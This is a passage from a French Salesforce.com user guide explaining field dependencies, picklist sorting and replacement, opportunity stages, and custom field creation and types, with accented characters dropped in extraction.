3. Cliquez sur Nouveau.
4. Choisissez un champ de contrle et un champ dpendant. Pour obtenir la dfinition de ces champs, reportez-vous
propos des champs dpendants la page 381.

Personnaliser

Guide de l'utilisateur | Dfinition de dpendances de champs | 381

Remarque: Il se peut que certains champs de liste de slection et de case cocher soient indisponibles en tant que
champs de contrle. Pour obtenir la liste complte de ces champs, reportez-vous Observations sur les champs
dpendants la page 385.
5. Cliquez sur Poursuivre.
6. Chaque valeur du champ de contrle est rpertorie dans la premire ligne et chaque valeur du champ dpendant apparat
dans la colonne situe en dessous. Pour obtenir des instructions sur l'inclusion ou l'exclusion de valeurs du champ dpendant
sur la base des valeurs du champ de contrle, reportez-vous Utilisation de la matrice de dpendances de champs la page
383.
7. Cliquez ventuellement sur Aperu pour tester vos slections. Si votre organisation utilise des types d'enregistrement,
choisissez un type d'enregistrement afin de tester la faon dont il influe sur vos valeurs de champ de contrle et de champ
dpendant. Le type d'enregistrement contrle les valeurs disponibles dans le champ de contrle. Le type d'enregistrement
et le champ de contrle dterminent conjointement les valeurs disponibles dans le champ dpendant. Par exemple, une
valeur dpendante est disponible uniquement si elle est disponible dans le type d'enregistrement slectionn ainsi que dans
la valeur de contrle slectionne.
Remarque: L'option Filtrer par type d'enregistrement n'apparat pas dans la fentre Aperu des
champs d'activit personnaliss.
8. Cliquez sur Enregistrer.
9. Si votre organisation utilise des types d'enregistrement, vrifiez que les valeurs de vos champs de contrle et de vos champs
dpendants sont disponibles dans les types appropris. Pour des instructions d'utilisation des types d'enregistrement,
reportez-vous Gestion des types d'enregistrement la page 539.

Voir aussi :
Observations sur les champs dpendants
Modification de la dpendance des champs
Suppression des dpendances de champs

propos des champs dpendants

Disponible avec : Toutes les ditions

Les champs dpendants garantissent la prcision et la cohrence des donnes grce l'application de filtres. Un champ dpendant
est associ un champ de contrle qui filtre ses valeurs. La valeur slectionne dans le champ de contrle affecte les valeurs
disponibles dans le champ dpendant.
Par exemple, vous pouvez utiliser des champs dpendants pour regrouper vos opportunits closes gagnes et perdues. Dans
cet exemple, le champ tape de l'opportunit est un champ de contrle dfinissant les valeurs correctes du champ dpendant
associ Motif. Ici, le champ Motif est un champ personnalis des opportunits.

Personnaliser

Guide de l'utilisateur | Dfinition de dpendances de champs | 382

tape

Motif

Close gagne

Prix infrieur/CTP
Fonctionnalits suprieures
Justification retour sur investissement/valeur

Close perdue

Cot lev/CTP
Fonctionnalits insuffisantes
Aucune dcision
Ne souhaite pas changer le systme actuel
Justification retour sur investissement/valeur
Viabilit de l'entreprise

Les utilisateurs qui slectionnent Close gagne dans le champ tape peuvent choisir certaines valeurs applicables au lieu de
toutes les valeurs du champ Motif. Lorsque les utilisateurs slectionnent une valeur d'tape en cours, aucune valeur n'est
disponible dans le champ Motif.
Pour vous familiariser avec l'utilisation des dpendances de champs, tenez compte des concepts suivants :
Champ dpendant
Toute liste de slection personnalise ou de slection multiple affichant des valeurs disponibles bases sur la valeur
slectionne dans le champ de contrle correspondant.
Champ de contrle
Toute liste de slection standard ou personnalise (contenant entre 1 et 300 valeurs) ou case cocher dont les valeurs
contrlent les valeurs disponibles dans les champs dpendants correspondants.
Pour des instructions de cration de dpendances de champs, reportez-vous Dfinition de dpendances de champs la page
380.

Voir aussi :
Dfinition de dpendances de champs
Observations sur les champs dpendants

Personnaliser

Guide de l'utilisateur | Dfinition de dpendances de champs | 383

Utilisation de la matrice de dpendances de champs

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour dfinir des dpendances de champs :

Personnaliser l'application

La matrice de dpendances de champs affiche toutes les valeurs dans un champ de contrle et un champ dpendant. Utilisez
cette matrice pour inclure ou exclure des valeurs. Les valeurs incluses sont disponibles dans le champ dpendant lorsque vous
slectionnez une valeur dans le champ de contrle. Les champs exclus ne sont pas disponibles dans le champ dpendant de la
valeur de champ de contrle slectionne.
Pour inclure ou exclure des valeurs :

Double-cliquez sur les valeurs pour les inclure. Les valeurs incluses sont mises en surbrillance. Double-cliquez sur les valeurs
en surbrillance pour les exclure.
Cliquez sur une valeur et tout en maintenant la touche Maj enfonce, cliquez sur une autre valeur pour slectionner une
plage de valeurs contigus. Cliquez ensuite sur Inclure les valeurs pour rendre les valeurs disponibles ou sur Exclure les
valeurs pour les supprimer de la liste des valeurs disponibles.
Cliquez sur une valeur et tout en maintenant la touche Ctrl enfonce, cliquez sur les autres valeurs de votre choix pour les
slectionner simultanment. Cliquez ensuite sur Inclure les valeurs pour rendre les valeurs disponibles ou sur Exclure les
valeurs pour les supprimer de la liste des valeurs disponibles.
Cliquez sur un en-tte de colonne pour slectionner toutes les valeurs de cette colonne. Cliquez ensuite sur Inclure les
valeurs pour rendre les valeurs disponibles ou sur Exclure les valeurs pour les supprimer de la liste des valeurs disponibles.

Pour modifier les valeurs de la vue :

Cliquez sur Afficher tout pour afficher simultanment toutes les valeurs disponibles.
Cliquez sur Accder et slectionnez une valeur de contrle pour afficher toutes les valeurs dpendantes de cette colonne.
Cliquez sur Prcdent ou Suivant pour afficher les valeurs des colonnes de la page prcdente ou de la page suivante.
Cliquez sur Visualiser des ensembles de 5 pour afficher simultanment 5 colonnes.

Modification de la dpendance des champs

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier des dpendances de champs :

Personnaliser l'application

Les dpendances de champs vous permettent de contrler les valeurs disponibles dans un champ personnalis de liste de
slection ou de liste de slection multiple. Passez en revue les concepts des dpendances de champs dans propos des champs
dpendants la page 381.

Personnaliser

Guide de l'utilisateur | Dfinition de dpendances de champs | 384

Pour modifier des dpendances de champs :

1. Accdez la zone des champs de l'objet appropri :

Pour les objets standard, cliquez sur Configuration Personnalisation, slectionnez l'objet appropri dans le menu
Personnalisation, puis cliquez sur Champs.
Pour les champs de tches et d'vnements personnaliss, cliquez sur Configuration Personnalisation Activits
Champs personnaliss d'activit.
Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'un des objets personnaliss
de la liste.
Pour des paramtres personnaliss, cliquez sur Configuration Dvelopper Paramtres personnaliss, puis cliquez
sur le nom du paramtre personnalis.

2. Cliquez sur Dpendances de champs.

3. Cliquez sur Modifier en regard de la relation de dpendance de champ modifier.
4. Chaque valeur du champ de contrle est rpertorie dans la premire ligne et chaque valeur du champ dpendant apparat
dans la colonne situe en dessous. Pour obtenir des instructions sur l'inclusion ou l'exclusion de valeurs, reportez-vous
Utilisation de la matrice de dpendances de champs la page 383.
5. Cliquez ventuellement sur Aperu pour tester vos slections.
6. Cliquez sur Enregistrer.

Voir aussi :
propos des champs dpendants

Suppression des dpendances de champs

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour supprimer des dpendances de champs :

Personnaliser l'application

La suppression d'une dpendance de champs supprime la logique dfinissant leur fonctionnement commun. Elle ne supprime
pas les champs ni ne modifie leurs donnes.
Pour supprimer des dpendances de champs :
1. Pour les objets standard, cliquez sur Configuration Personnalisation, slectionnez l'objet appropri dans le menu
Personnalisation, puis cliquez sur Champs.
2. Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'un des objets personnaliss
de la liste.
3. Cliquez sur Dpendances de champs.
4. Cliquez sur Suppr ct de la relation de dpendance de champs supprimer.

Personnaliser

Guide de l'utilisateur | Dfinition de dpendances de champs | 385

5. Cliquez sur OK pour terminer.

Voir aussi :
propos des champs dpendants

Observations sur les champs dpendants

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour dfinir et modifier des dpendances de champs :

Personnaliser l'application

Tenez compte des informations suivantes lorsque vous dfinissez et modifiez des champs dpendants :
Cases cocher
Les cases cocher peuvent tre des champs de contrle, mais pas des champs dpendants.
Conversion des champs
Convertissez vos champs existants en champs dpendants ou de contrle, sans aucune incidence sur les valeurs existantes
de vos enregistrements. Les rgles de dpendance s'appliquent alors toutes les modifications apportes aux enregistrements
existants ou nouveaux.
Valeurs par dfaut
Vous pouvez dfinir des valeurs par dfaut pour les champs de contrle, mais pas pour les champs dpendants.
Scurit au niveau des champs
Les paramtres de scurit au niveau des champs sont totalement indpendants pour un champ de contrle et un champ
dpendant. Veillez masquer un champ de contrle chaque fois que son champ dpendant associ est masqu.
Importation
Les assistants d'importation ne tiennent pas compte des dpendances de champs. Toute valeur peut tre importe dans
un champ dpendant, quelle que soit la valeur importe dans un champ de contrle.
Conversion des pistes
Si vous crez une dpendance pour des champs de piste qui correspondent des champs de compte, de contact et
d'opportunit pour la conversion des pistes, crez la mme dpendance sur le compte, le contact ou l'opportunit.
Les champs de piste dpendants et de contrle peuvent tre mapps des champs de compte, de contact ou d'opportunit
avec diffrentes rgles de dpendance.
Listes de slection multiple
Les listes de slection multiple peuvent tre des champs dpendants, mais pas des champs de contrle.

Personnaliser

Guide de l'utilisateur | Dfinition de dpendances de champs | 386

Connect Offline
Si des champs dpendants et de contrle sont disponibles dans Connect Offline, la logique existant entre eux ne l'est
pas.
Prsentations de page
Assurez-vous que des champs de contrle existent dans les prsentations de page contenant le champ dpendant associ.
Lorsque le champ de contrle ne se trouve pas dans la mme prsentation de page, le champ dpendant n'affiche aucune
valeur disponible.
Pour les utilisateurs malvoyants, veillez ce que le champ dpendant se trouve au-dessous de son champ de contrle
dans la prsentation de page.
Si un champ dpendant est ncessaire et qu'aucune valeur n'est disponible pour lui avec la valeur du champ de contrle,
il est possible de sauvegarder l'enregistrement sans entrer de valeur. L'enregistrement est sauvegard sans valeur pour ce
champ.
Limitations relatives aux listes de slection
Les champs de liste de slection personnaliss peuvent tre des champs de contrle ou des champs dpendants.
Les champs de liste de slection standard peuvent tre des champs de contrle, mais pas des champs dpendants.
Le nombre maximal de valeurs autorises dans un champ de contrle est de 300. En outre, si un champ constitue la
fois un champ de contrle et un champ dpendant, il est limit 300 valeurs maximum.
Avant de dfinir une dpendance, assurez-vous que votre liste de slection dispose d'au moins une valeur. Les champs
standard comme Produit : gamme ne contiennent aucune valeur tant que vous n'en ajoutez pas.
Si un champ de contrle standard utilise une fonctionnalit que votre entreprise dcide de dsactiver, ses rgles de
dpendance disparaissent. Par exemple, si votre entreprise dsactive le portail libre-service et que le champ Clture
par l'utilisateur du libre-service est un champ de contrle, son champ dpendant affiche toutes les valeurs
disponibles.
Les champs suivants ne sont pas disponibles comme champs de contrle :
Champs d'activit
Type d'appel
Crer une srie d'vnements rcurrents
Afficher l'heure en tant que
Objet
Tche
Type

Champs de contact
Civilit
Devise du contact

Champs d'objet personnaliss

Devise

Personnaliser

Guide de l'utilisateur | Tri des listes de slection | 387

Champs de piste
Converti
Non lu par le responsable

Types d'enregistrement
Les valeurs de vos champs de contrle sont dtermines par le type d'enregistrement slectionn. Les valeurs de vos
champs dpendants sont dtermines par les valeurs des champs de contrle et le type d'enregistrement slectionns.
Pour rsumer, les valeurs disponibles dans les champs dpendants sont des combinaisons du type d'enregistrement et du
champ de contrle. Pour plus d'informations sur les types d'enregistrement, reportez-vous Gestion des types
d'enregistrement la page 539.

Voir aussi :
propos des champs dpendants

Tri des listes de slection

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour trier les listes de slection :

Personnaliser l'application

Vous pouvez trier les valeurs des champs standard ou personnaliss des listes de slection et des listes de slection multiple.
1. Accdez la zone des champs de l'objet appropri :

2.
3.
4.
5.
6.

Pour les objets standard, cliquez sur Configuration Personnalisation, slectionnez l'objet appropri dans le menu
Personnalisation, puis cliquez sur Champs.
Pour les champs de tches et d'vnements personnaliss, cliquez sur Configuration Personnalisation Activits
Champs personnaliss d'activit.
Pour les champs de tche et d'vnement standard, cliquez sur Configuration Personnalisation Activits, puis
sur Champs de la tche ou Champs d'vnement.
Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'un des objets personnaliss
de la liste.

Cliquez sur Modifier en regard de la liste de slection mettre jour.

Cliquez sur Rorganiser.
Utilisez les flches pour organiser le champ dans l'ordre appropri.
Le cas chant, slectionnez une valeur par dfaut.
Cochez la case afin de trier dans l'ordre alphabtique les entres des utilisateurs sur les pages de modification. Les entres
apparaissent alors systmatiquement dans l'ordre alphabtique, quelle que soit la langue de l'utilisateur.
7. Cliquez sur Enregistrer.

Personnaliser

Guide de l'utilisateur | Remplacement des listes de slection | 388

Remarque: Sur les pages de dtails et de modification des enregistrements, ainsi que sur les rapports, les champs de
liste de slection et de liste de slection multiple peuvent contenir des valeurs inactives. Le systme trie ces valeurs
inactives en dernier, sauf si vous avez slectionn le tri par ordre alphabtique. Dans ce cas, le systme trie toutes les
valeurs par ordre alphabtique.

Voir aussi :
Modification des listes de slection

Remplacement des listes de slection

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour remplacer les valeurs des listes de slection :

Personnaliser l'application

Dans les enregistrements existants, vous pouvez remplacer globalement les valeurs des champs personnaliss ou standard de
liste de slection.
1. Accdez la zone des champs de l'objet appropri :

2.
3.
4.
5.

Pour les objets standard, cliquez sur Configuration Personnalisation, slectionnez l'objet appropri dans le menu
Personnalisation, puis cliquez sur Champs.
Pour les champs de tches et d'vnements personnaliss, cliquez sur Configuration Personnalisation Activits
Champs personnaliss d'activit.
Pour les champs de tche et d'vnement standard, cliquez sur Configuration Personnalisation Activits, puis
sur Champs de la tche ou Champs d'vnement.
Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'un des objets personnaliss
de la liste.

Vrifiez que la valeur de remplacement existe dj dans les valeurs de liste de slection.
Cliquez sur Remplacer en regard de la liste de slection.
Saisissez la valeur exacte que vous souhaitez modifier, puis slectionnez la nouvelle valeur.
Cochez la case Remplacer toutes les valeurs vides pour appliquer la nouvelle valeur aux enregistrements ne
possdant pas de valeur dans ce champ.
6. Cliquez sur Remplacer pour mettre jour toutes les occurrences de la valeur en fonction de la nouvelle valeur des
enregistrements de votre organisation, y compris les occurrences figurant dans la Corbeille.

Personnaliser

Guide de l'utilisateur | Mise jour des tapes d'opportunit | 389

Remarque: Si vous remplacez la liste de slection tape des opportunits, les champs Probabilit, Catgorie
prvisionnelle et Chiffre d'affaires prvu sont galement mis jour avec les valeurs correspondantes.

Voir aussi :
Modification des listes de slection
Mise jour des tapes d'opportunit

Mise jour des tapes d'opportunit

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour modifier les valeurs des tapes d'opportunit :

Personnaliser l'application

La liste de slection tape d'opportunit contient des valeurs correspondant aux diffrentes tapes du cycle de vente. Elle
affecte galement les valeurs Probabilit et Catgorie prvisionnelle associes une opportunit. mesure que
les utilisateurs changent l'tape d'une opportunit, les champs Probabilit et Catgorie prvisionnelle adoptent
automatiquement les valeurs que vous spcifiez lors de la configuration.
Pour mettre jour des tapes d'opportunit, cliquez sur Configuration Personnalisation Opportunits Champs et
slectionnez Modifier en regard du champ tape.

Pour crer une tape, cliquez sur Nouveau. Pour modifier une tape, cliquez sur Modifier en regard de l'tape. Saisissez
le nom de l'tape, sa probabilit de conclusion, son type, sa catgorie prvisionnelle, ainsi que sa description. Vous pouvez
galement attribuer une couleur utiliser dans les graphiques en cliquant sur le bouton . Pour attribuer dynamiquement
une couleur lors de la cration du graphique, cliquez sur Attribuer dynamiquement des couleurs.
La catgorie prvisionnelle dtermine automatiquement le mode de suivi des opportunits dans les prvisions. Notez que
les valeurs dfinies pour le type et la catgorie prvisionnelle s'affectent mutuellement.

Pour dsactiver une tape et la transfrer vers la liste inactive, cliquez sur Suppr en regard d'une tape active. Sur la page
de mappage, ne mappez l'tape sur aucune autre valeur existante. Cliquez simplement sur Enregistrer.
Les tapes inactives sont des tapes qui ne sont plus utilises mais qui peuvent exister dans des enregistrements d'opportunit
plus anciens.

Pour supprimer compltement une tape, cliquez sur Suppr en regard d'une tape active ou inactive. Mappez la valeur
supprime sur une autre tape active. Si vous ne mappez pas la valeur supprime, l'tape est dplace vers la liste des tapes
inactives.
Cliquez sur Rorganiser pour modifier la squence des valeurs de listes de slection.
Cliquez sur Remplacer pour modifier les valeurs des champs de liste de slection dans les enregistrements existants.
Cliquez sur Vue imprimable pour ouvrir une liste facile imprimer de vos valeurs de liste de slection.
Cliquez sur Couleurs de graphique, puis slectionnez une option afin d'attribuer des couleurs aux valeurs de liste de
slection, utiliser dans les graphiques :

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 390

Attribuer des couleurs fixes toutes les valeurs permet d'attribuer une couleur fixe chaque valeur partir de la palette
standard des couleurs de graphique. La colonne Couleurs de graphique affiche les couleurs attribues. Changez
manuellement les couleurs attribues en modifiant les valeurs de liste de slection. Par exemple, si vous souhaitez toujours
afficher en rouge les valeurs Close Perdue dans les graphiques groups par tape d'opportunit, attribuez la couleur
rouge cette opportunit.
Attribuer dynamiquement des couleurs aux valeurs permet d'attribuer des couleurs lors de la cration d'un graphique.
La colonne Couleurs de graphique indique Attribu dynamiquement pour toutes les couleurs. Attribuez des
couleurs fixes en modifiant les valeurs de liste de slection. Par exemple, si vous souhaitez afficher uniquement certaines
valeurs de liste de slection avec des couleurs fixes dans les graphiques, attribuez manuellement des couleurs ces valeurs
et laissez les autres attribues dynamiquement .

Les attributions dynamiques sont remplaces chaque fois que vous cliquez sur une option dans Couleurs de graphique.
Remarque: Les couleurs de graphique ne sont pas disponibles pour les listes de slection multiples, les listes de
slection de devise, l'objet Tche, l'objet vnement et les listes de slection Concurrent de l'opportunit.

Remarque: Vous pouvez crer jusqu' 100 tapes avec un maximum de 40 caractres pour chaque valeur d'tape. Cette
limite de 100 tapes ne s'applique pas aux entreprises qui utilisent des types d'enregistrement.
Dans un rapport d'opportunit, si vous triez les donnes dans l'ordre croissant par tape, les opportunits comportant
des tapes historiques apparaissent en fin de liste.
Veillez utiliser les types Close/Gagne et Close/Perdue exclusivement pour les tapes servant aux opportunits closes.
Quand vous attribuez l'tape d'une opportunit ouverte le statut Close Gagne , le paramtre Date de clture
de l'opportunit prend pour valeur la date du jour. Ce changement peut entraner des valeurs inattendues pour le champ
d'opportunit Anciennet dans les rapports. Pour plus d'informations, reportez-vous Rapports sur les opportunits,
prvisions et ventes la page 1687.

Voir aussi :
Modification des listes de slection

Cration de champs personnaliss

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour crer ou modifier des champs personnaliss :

Personnaliser l'application

Vous pouvez personnaliser Salesforce.com pour l'adapter aux besoins de votre entreprise en ajoutant des champs personnaliss
chacun des onglets et des objets utiliss par votre entreprise. Pour connatre le nombre total de champs personnaliss que
vous pouvez crer, reportez-vous ditions Salesforce.com et limitations la page 932.
Consultez les rubriques suivantes pour plus d'informations :

Ajout de champs et de relations

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 391

Modification de champs
Affichage de champs
Suppression de champs
laboration de formules
Dfinition de dpendances de champs
Dfinition des valeurs de champ par dfaut
Options supplmentaires des champs personnaliss
Attributs de champ personnalis

Ajout de champs et de relations

Disponible avec : Personal Edition, Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition
Les champs de relation ne sont pas disponibles dans Personal Edition
Les paramtres personnaliss ne sont pas disponibles dans Personal Edition ou Professional Edition

Autorisations utilisateur requises

Pour crer ou modifier des champs personnaliss :

Personnaliser l'application

Crez des champs personnaliss pour stocker les informations essentielles de votre entreprise. Avant de commencer, dterminez
le type de champ personnalis crer.
Pour ajouter un champ personnalis :
1. Accdez la zone des champs de l'objet appropri :

Pour les objets standard, cliquez sur Configuration Personnalisation, slectionnez l'objet appropri dans le menu
Personnalisation, puis cliquez sur Champs.
Pour les champs de tches et d'vnements personnaliss, cliquez sur Configuration Personnalisation Activits
Champs personnaliss d'activit.
Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'un des objets personnaliss
de la liste.
Pour des paramtres personnaliss, cliquez sur Configuration Dvelopper Paramtres personnaliss, puis cliquez
sur le nom du paramtre personnalis.

2. Cliquez sur Nouveau dans la section de la page consacre aux champs personnaliss et aux relations.
Pour plus d'informations sur les autres attributs que vous pouvez dfinir dans cette section, reportez-vous aux rubriques
suivantes :

Pour dfinir les dpendances des champs, reportez-vous Dfinition de dpendances de champs la page 380
Pour dfinir le suivi de l'historique des champs sur les objets personnaliss, reportez-vous Suivi de l'historique des
champs la page 410

3. Choisissez le type de champ crer, puis cliquez sur Nouveau.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 392

Remarque:

Certains types de donnes sont uniquement disponibles pour certaines configurations. Par exemple, l'option
Relation principal-dtails est disponible uniquement pour les objets personnaliss lorsque l'objet
personnalis n'a pas encore de relation principal-dtails. En outre, les paramtres personnaliss autorisent
uniquement un sous-ensemble des types de donnes disponibles.
Le nombre de champs de relation est pris en compte dans le nombre maximal de champs personnaliss autoris.
L'option Rcapitulatif de cumul est uniquement disponible sur certains objets. Pour obtenir la liste de
ces objets, reportez-vous propos des champs rcapitulatifs de cumul la page 470.
Les types de champs correspondent des types de donnes API. Pour plus d'informations, reportez-vous
Types de donnes API et Types de champs API dans le document Force.com Web Services API Developer's
Guide.

4. Pour les champs de relation, choisissez l'objet associer. Pour plus d'informations sur les relations, reportez-vous
Prsentation des relations la page 697.
5. Saisissez l'tiquette d'un champ.
Le nom du champ est automatiquement peupl en fonction de l'tiquette que vous saisissez. Ce nom ne peut contenir que
des caractres de soulignement et alphanumriques, et il doit tre unique dans votre organisation. Il doit commencer par
une lettre, ne pas inclure despace, ne pas se terminer pas un trait de soulignement et ne doit pas contenir deux traits de
soulignement conscutifs. Utilisez le nom de champ pour les champs de fusion dans les liens personnaliss et les commandes
Custom S-Control, et pour faire rfrence au champ partir de l'API. Pour plus d'informations, reportez-vous Consignes
d'utilisation des champs de fusion la page 67.
Conseil: Assurez-vous que le nom du champ personnalis est diffrent de tout nom de champ standard de cet
objet. Si un champ personnalis et un champ standard portent le mme nom et que vous rfrencez ce nom dans
un champ de fusion, ce dernier affiche la valeur du champ personnalis.
6. Entrez les ventuels attributs des champs et cliquez sur Suivant pour continuer.

Pour laborer une formule, reportez-vous laboration de formules la page 428.

Pour dfinir une valeur par dfaut, reportez-vous Dfinition des valeurs de champ par dfaut la page 431.
Pour dfinir un rcapitulatif de cumul, reportez-vous Dfinition des rcapitulatifs de cumul la page 473.

7. Dans les ditions Enterprise Edition, Unlimited Edition et Developer Edition, configurez la scurit au niveau du champ
pour dterminer si le champ doit tre visible ou accessible en lecture seule pour des profils spcifiques, puis cliquez sur
Suivant.
Remarque: Les profils auxquels est associe l'autorisation Afficher les donnes cryptes sont indiqus par un
astrisque.
8. Choisissez les prsentations de page qui doivent afficher ce champ sous la forme d'un champ modifiable.
Le champ est ajout comme dernier champ de la premire section deux colonnes de la prsentation de page. En ce qui
concerne les champs longue zone de texte, le champ est ajout la fin de la premire section compose d'une colonne de
la prsentation de page. En ce qui concerne les champs personnaliss, le champ est ajout automatiquement au bas de la
page de dtails de l'utilisateur. Pour les champs universellement obligatoires, vous ne pouvez pas supprimer le champ des
prsentations de page ou le placer en lecture seule.
9. Pour les champs de relation, vous pouvez choisir de crer une liste associe qui affiche des informations sur les enregistrements
associs. Vous avez la possibilit d'intgrer la liste associe dans n'importe quelle prsentation de page de l'objet en question.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 393

Pour modifier l'tiquette de la liste associe personnalise sur les prsentations de page de l'objet associ, modifiez
l'tiquette de la liste associe.
Pour ajouter la nouvelle liste associe aux prsentations de page que des utilisateurs ont dj personnalises, cochez la case
Ajouter les lments associs aux personnalisations existantes de l'utilisateur.
10. Cliquez sur Enregistrer pour terminer ou sur Enregistrer et Nouveau pour crer d'autres champs personnaliss.
Remarque: La cration de champs exige parfois la modification simultane d'un grand nombre d'enregistrements.
Pour traiter efficacement ces modifications, Salesforce.com peut mettre votre demande en attente et vous informer
par e-mail une fois le processus termin.

Voir aussi :
Attributs de champ personnalis
Options supplmentaires des champs personnaliss
Options supplmentaires pour la mise jour de listes de slection
Observations sur les champs universellement requis
Dfinition des rcapitulatifs de cumul
Gestion des champs personnaliss supprims
Vue d'ensemble des paramtres personnaliss

Types de champs personnaliss

La premire tape de la cration d'un champ personnalis consiste slectionner le type du champ. Vous trouverez ci-dessous
une description de chaque type de champ personnalis.
Type

Description

Numro automatique

Attribue automatiquement un numro squentiel unique

chaque enregistrement. La longueur maximale d'un champ
numrotation automatique est de 30 caractres, dont 20 sont
rservs au texte du prfixe ou du suffixe.

Case cocher

Permet aux utilisateurs de cocher une case pour indiquer si

l'attribut d'un enregistrement est vrai ou faux. Lorsque vous
utilisez une case cocher pour un filtre de rapport ou de vue
de liste, utilisez True (vrai) pour les valeurs coches et
False (faux) pour les valeurs non coches. Les assistants
d'importation et l'outil d'exportation hebdomadaire utilisent
1 pour les valeurs coches et 0 pour les valeurs non
coches.

Devise

Permet aux utilisateurs de saisir un montant en devise. Le

systme applique alors automatiquement au champ un format
de montant dans cette devise. Cela peut tre pratique lorsque
vous exportez des donnes vers Excel ou un autre tableur.

Date

Permet aux utilisateurs de saisir une date ou de choisir une

date dans un calendrier affich dans une zone contextuelle.

Personnaliser

Type

Guide de l'utilisateur | Cration de champs personnaliss | 394

Description
Dans les rapports, vous pouvez limiter les donnes des dates
spcifiques l'aide d'un champ de date personnalis.

Date/heure

Permet aux utilisateurs de saisir une date ou de la choisir dans

un calendrier affich dans une fentre contextuelle, et
d'indiquer l'heure. Ils peuvent aussi ajouter la date et l'heure
actuelles en cliquant sur le lien de la date de l'heure en regard
du champ. L'heure est exprime au format 24 heures. Dans
les rapports, vous pouvez limiter les donnes des dates et
heures spcifiques l'aide d'un champ de date personnalis.

E-mail

Permet aux utilisateurs de saisir une adresse e-mail.

Salesforce.com valide la valeur saisie afin de vrifier son format.
Les utilisateurs peuvent alors cliquer sur le champ pour lancer
leur programme de messagerie et envoyer un message cette
adresse. L'e-mail n'est pas consign en tant qu'activit dans
la liste associe Historique des activits. Cette adresse ne peut
pas tre utilise lors de l'envoi d'e-mails en masse.

Formule

Permet aux utilisateurs de calculer automatiquement des

valeurs en fonction d'autres valeurs ou d'autres champs (des
champs de fusion, par exemple). Reportez-vous laboration
de formules la page 428 et Oprateurs et fonctions la page
475.

Relation hirarchique

Elle cre une relation de recherche hirarchique entre les

utilisateurs. Elle permet d'utiliser un champ de recherche pour
associer un utilisateur un autre qui ne fait pas directement
ou indirectement rfrence lui-mme. Par exemple, vous
pouvez crer un champ de relation hirarchique personnalis
pour stocker le responsable direct de chaque utilisateur.

Relation de recherche

Elle cre une relation entre deux enregistrements afin que vous
puissiez les associer les uns aux autres. Par exemple, les
opportunits ont une association de recherche avec les requtes
qui vous permet d'associer une requte spcifique une
opportunit. Une relation de recherche cre un champ qui
permet aux utilisateurs de cliquer sur une icne de recherche
et de slectionner un autre enregistrement partir d'une fentre
contextuelle. Dans l'enregistrement associ, vous pouvez alors
afficher une liste associe qui prsente tous les enregistrements
qui lui ont t lis. Vous pouvez crer des champs de relation
de recherche qui permettent d'associer des utilisateurs des
objets standard ou des objets personnaliss. Une relation de
recherche n'a aucun impact sur la suppression
d'enregistrements ou la scurit ; en outre, la prsence du
champ de recherche n'est pas obligatoire dans la prsentation
de page. Si un champ de recherche fait rfrence un
enregistrement qui a t supprim, Salesforce.com configure

Personnaliser

Type

Guide de l'utilisateur | Cration de champs personnaliss | 395

Description
le champ de recherche sur nul et n'excute aucun dclencheur
Apex, aucune rgle de validation ou de workflow, et aucun
champ rcapitulatif de cumul. Pour plus d'informations sur
les relations, reportez-vous Prsentation des relations la
page 697.
Les champs de relation de recherche ne sont pas disponibles
dans Personal Edition.
Les champs de relation de recherche vers des membres de
campagne ne sont pas disponibles. Ils sont toutefois disponibles
depuis des membres de campagne vers d'autres objets.

Relation principal-dtails

Cre une relation entre des enregistrements o l'enregistrement

principal contrle certains comportements de l'enregistrement
de dtails tels que la suppression d'un enregistrement et la
scurit. Pour plus d'informations sur les relations,
reportez-vous Prsentation des relations la page 697.
Disponibles uniquement pour des objets personnaliss, bien
que vous puissiez crer un champ de la relation
principal-dtails partir d'un objet li un objet standard.
Les relations principal-dtails ne peuvent pas tre utilises
avec des membres de campagne.

Numro

Permet aux utilisateurs de saisir un nombre quelconque. Il est

trait comme un nombre rel et les ventuels zros qui le
prcdent sont supprims.

Pourcentage

Permet aux utilisateurs de saisir un nombre en tant que

pourcentage, par exemple, 10. Le systme ajoute alors
automatiquement le signe pourcentage au nombre.

Tlphone

Permet aux utilisateurs de saisir un numro de tlphone

quelconque. Salesforce.com applique alors automatiquement
au champ un format de numro de tlphone.
Si vous utilisez Salesforce CRM Call Center, des champs de
tlphone personnaliss sont affichs via le bouton , ce qui
autorise la fonction Numrotation par clic. Par consquent,
salesforce.com vous recommande de ne pas utiliser de champs
de tlphone personnaliss pour des numros de tlcopie.

Liste de slection

Permet aux utilisateurs de slectionner une valeur dans une

liste que vous pouvez dfinir.

Liste de slection (slection multiple)

Permet aux utilisateurs de slectionner plusieurs valeurs dans

une liste que vous pouvez dfinir. Dans ces champs, les valeurs
affiches sont spares par un point-virgule.

Personnaliser

Guide de l'utilisateur | Cration de champs personnaliss | 396

Type

Description

Rcapitulatif de cumul

Affiche automatiquement le nombre denregistrements des

enregistrements correspondants ou calcule la somme, la valeur
minimale ou la valeur maximale des enregistrements
correspondants. Les enregistrements doivent tre directement
associs lenregistrement slectionn et au ct dtails dune
relation personnalise principal-dtails avec l'objet contenant
le champ rcapitulatif de cumul. Par exemple, un champ de
compte personnalis appel Nombre total dinvits affiche
le nombre denregistrements objets personnaliss des invits
dans la liste Invits associe pour les comptes.

Texte

Permet aux utilisateurs de saisir une combinaison quelconque

de lettres, de chiffres ou de symboles. Vous pouvez dfinir une
longueur maximale, jusqu' 255 caractres.

Texte (crypt)

Permet aux utilisateurs de saisir une combinaison quelconque

de lettres, de chiffres ou de symboles stocks sous forme
crypte. Vous pouvez dfinir une longueur maximale, jusqu'
191 caractres. Pour activer les champs crypts pour votre
